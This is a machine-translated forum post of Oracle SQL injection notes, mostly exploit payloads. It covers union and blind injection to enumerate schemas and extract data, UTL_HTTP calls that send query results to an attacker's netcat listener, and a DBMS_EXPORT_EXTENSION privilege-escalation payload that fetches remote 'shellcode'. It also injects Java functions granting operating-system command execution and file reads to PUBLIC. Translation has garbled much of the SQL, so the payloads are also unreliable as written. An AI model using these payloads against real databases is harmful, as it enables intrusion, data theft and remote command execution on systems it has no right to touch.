이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 11931|회답: 0

[안전한 소통] SQL 인젝션 노트 오라클

[링크 복사]
게시됨 2015. 1. 24. 오후 12:58:17 | | |
이 게시물은 2015년 1월 24일 13:01에 test에 의해 마지막으로 수정되었습니다.

댓글: --
다중 문장 실행은 지원되지 않으며, 연합 쿼리는 지원합니다
데이터베이스 이름, 테이블 이름, 열명 모두 대문자로 표기합니다.


길이(필드)
ascii(substr(field, N, 1))


그리고 (dual에서 count(*) 선택)>0 -- 오라클인지 아닌지 결정한다

n-- 순

그리고 1=2 union select null, null,.....,null → dual에서 null을 N 또는 'N'으로 대체합니다

그리고 1=2 유니온 셀렉트 널, (SQL 문) ,.....,쌍 -- 'N'에서 (SQL 문) 변경.

그리고 (object_name='UTL_HTTP'>0 all_objects에서 count(*)를 선택함 -- UTL_HTTP가 지원되는지 확인(익스웨이 IP가 알려져 있음)

그리고 UTL_HTTP.request('http://LocalIP:port'|| (SQL 문)) =1-- 원격 메시지 전송 시 로컬 수신 nc -vv -l -p 1234


SQL 문
rownum=1인 sys.v_$version에서 배너를 선택하여 오라클 버전을 쿼리하세요
rownum=1 v$logfile에서 멤버를 선택하세요. 로그 파일 경로(Windows 또는 Linux)를 조회하세요.
듀얼에서 utl_inaddr.get_host_address를 선택하여 데이터베이스 청취 IP를 조회합니다
v$instance에서 instance_name을 선택하여 sid를 쿼리하세요
v$database에서 이름 선택 현재 데이터베이스 이름을 조회
듀얼 쿼리 데이터베이스 사용자에서 sys_context ('userenv', 'current_user')을 선택합니다
rownum=1 에서 *session_roles를 선택해 현재 사용자 권한을 조회합니다
rownum=1 [그리고 role<>'첫 번째 허가 이름']에서 * session_roles에서 선택하세요 [그리고 role'첫 번째 허가 이름']



rownum=1 현재 데이터베이스의 첫 번째 테이블 세그먼트 user_tables에서 table_name을 선택합니다
선택 table_name||','|| tablespace_name user_tables에서 로우넘=1 첫 번째 테이블 세그먼트, 데이터베이스 (검증을 위해 v$database가 아닐 수도 있음)
user_tables table_name 중에서 선택하며, rownum=1 table_name<>'첫 번째 테이블 세그먼트' 현재 데이터베이스의 두 번째 테이블 세그먼트

rownum=1, table_name='테이블 세그먼트' user_tab_columns에서 column_name을 선택하세요. 테이블 이름에 대응하는 첫 번째 필드
rownum=1, table_name='테이블 세그먼트', column_name<>'첫 번째 필드' user_tab_columns에서 column_name을 선택하세요. 두 번째 필드는 테이블 이름에 해당합니다.

rownum=1이 첫 번째 줄 내용을 위반하는 table 세그먼트에서 필드를 선택하세요
rownum=1인 field from table segment를 선택하고, 필드 <> 'First line content'가 두 번째 줄 내용을 노출합니다


교차 도서관
rownum=1이 첫 번째 데이터베이스 이름을 쿼리하는 all_tables경우, 소유자를 선택하세요
rownum=1 all_tables에서 소유자를 선택해 두 번째 데이터베이스 이름을 쿼리하세요 <>

rownum=1, owner='database name' all_tables에서 table_name을 선택합니다. 해당 데이터베이스의 첫 번째 테이블 이름을 조회하세요.
rownum=1, owner='database name', table_name<>'first table name'에서 해당 데이터베이스의 두 번째 테이블 이름을 쿼리하는 all_tables에서 table_name을 선택하세요

rownum=1, owner='데이터베이스 이름', table_name='테이블 세그먼트'인 all_tab_columns에서 column_name을 선택합니다. 테이블 이름에 대응하는 첫 번째 필드
all_tab_columns에서 rownum=1, owner='데이터베이스 이름', table_name='테이블 세그먼트', column_name<>'첫 번째 필드' 중 column_name을 선택합니다. 두 번째 필드는 테이블 이름에 해당합니다

데이터베이스에서 필드를 선택하세요. rownum=1이 첫 번째 줄의 내용을 위반하는 테이블 세그먼트
데이터베이스에서 필드를 선택하세요. rownum=1이고 필드 <> 'First Line Content'가 두 번째 행 내용을 위반하는 테이블 세그먼트





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 다중 진술 종료; --','SYS',0,'1',0)--

'가 이스케이프된 경우, chr()가 사용됩니다.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| CHR(79)|| chr(79), chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| CHR(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| CHR(49)|| chr(41)|| chr(59)|| 다중 진술 || chr(69)|| CHR(78)|| chr(68)|| chr(59)|| CHR(45)|| chr(45), chr(83)|| CHR(89)|| chr(83),0,chr(49),0)=0--

여러 문장이 너무 길다면, 해당 문장을 웹사이트 파일에 작성하고 utl_http.request를 사용해 검색할 수 있습니다.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





JAVA 패키지 SecTest 생성하기
runCMD는 시스템 명령을 실행하는 데 사용됩니다
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라"고 프라그마 AUTONOMOUS_TRANSACTION 선언; BEGIN EXECUTE IMMEDIATE''를 생성하거나 교체하여 "SecTest"라는 이름의 Java 소스를 가져오기 java.io.*로 작성 및 컴파일하세요; public class SecTest는 Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); 문자열 stemp,str=""; while((stemp=myReader.readLine()!=null) str+=stemp+"\n"; myReader.close(); 턴 스트럿; }catch(예외 e){return e.toString(); }}}''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--

readFile은 파일을 읽는 데 사용됩니다
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라"고 프라그마 AUTONOMOUS_TRANSACTION 선언; BEGIN EXECUTE IMMEDIATE''를 생성하거나 교체하여 "SecTest"라는 이름의 Java 소스를 가져오기 java.io.*로 작성 및 컴파일하세요; public class SecTest는 Object{public static string readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); 문자열 stemp,str=""; while((stemp=myReader.readLine()!=null) str+=stemp+"\n"; myReader.close(); 턴 스트럿; }catch(예외 e){return e.toString(); }}}''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--



Java 권한 부여
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN 즉시 실행 '''''시작dbms_java.GRANT_PERMISSION(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''처형''''''''); 끝; ''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--



함수 생성
SecRunCMD 함수
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN EXECUTE EXECUTE '''''함수 생성 또는 교체 SecRunCMD(p_cmd in varchar2) 언어 java 이름으로 varchar2를 반환''''''''SecTest.runCMD(java.lang.String) 반환 String'''''''' ; ''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--

SecReadFile 함수
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN EXECUTE 즉시 '''''함수 생성 또는 교체 SecReadFile(varchar2의 파일명) 언어로 varchar2를 반환 java name''''''''SecTest.readFile(java.lang.String) String' 반환 '''''''; ''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--



공직 수행 허가를 부여합니다
SecRunCMD가 권한을 부여받습니다
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; 즉시 실행 시작 "SecRunCMD에서 모든 공공에게 승인"; 끝; ''; 끝; --','SYS',0,'1',0) dual)--

서클리드파일
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; 즉시 실행 시작 "'SecReadFile의 모든 것을 공개자에게 부여하라''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--



함수가 성공적으로 생성되었는지 감지합니다
그리고 (object_name='SECRUNCMD')>0-- 중에서 all_objects에서 count(*)를 선택한다
그리고 (all_objects object_name='SECREADFILE')>0--



명령 실행
그리고 '1'<>(시스템 선택) dual에서 SecRunCMD('실행 명령')--
그리고 '1'<>(시스템 선택) dual에서 SecReadFile('파일 물리 주소')--
또는
1=2 유니온 셀렉트 널,...,시스템. SecRunCMD('execute command'),...,dual--
1=2 유니온 셀렉트 널,...,시스템. SecReadFile('파일 물리 주소'),...,dual--
또는
그리고 '1'<>(선택 UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('명령 실행 명령'), ' ',' '), '\n', ' ')) dual)--
그리고 '1'<>(선택 UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('파일 물리 주소'), ' ',' ','\n',' '))에서 dual)--



삭제 기능
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN BEGIN 실행 즉시 ''drop 함수 SecRunCMD''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--
그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN 즉시 실행 '''''drop 함수 SecReadFile''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--




이전의:중재 신청이 가능한데, 어떤 조건이 필요한가요?
다음:ORALCE는 호스트명과 IP 주소를 획득합니다
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com